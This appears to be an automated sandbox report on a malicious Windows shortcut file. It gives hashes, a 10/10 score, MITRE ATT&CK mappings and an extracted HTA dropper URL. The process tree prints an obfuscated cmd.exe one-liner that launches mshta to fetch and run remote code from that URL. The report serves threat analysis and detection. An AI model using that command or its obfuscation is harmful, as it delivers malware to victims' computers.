b6a776b8b12f4c1f3ec276e4aa9af20f53f3cda098bae6f47aa7f6780872ca5c

Analysis

max time kernel
58s
max time network
28s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/08/2026, 16:36

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General

Target
n_FISCA--XB9YI5.lnk
Size 1KB
Sample260821-t4elmstdqa
SHA256 b6a776b8b12f4c1f3ec276e4aa9af20f53f3cda098bae6f47aa7f6780872ca5c
MD5 b8af5b1e40295d7db42800ef2442780a
SHA1 08c22ac9291ec50b09b58c9e784bca2ed1cfbaa7
SHA512 869f8c40c5ad2ce4a62399186798d8bedbc0bee1c8127b55bd92fb887c3894d16cd5db504e8964fcf3aa2e1d536856c5d098ebdabf8601243e8445bdf1ab18b1
TLSH
T1313197002EFD0664F2F38EB6C0BBAB1489BFB8698D21C61D0040454C5022A02E67AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4144	cmd.exe
1188	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 1188	4144	cmd.exe	89
PID 1188 wrote to memory of 4568	1188	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\n_FISCA--XB9YI5.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4144
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set mTq=msh&&set ZYLyN=ta&&start "" !mTq!!ZYLyN! https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\System32\mshta.exe
    mshta https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    PID:4568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads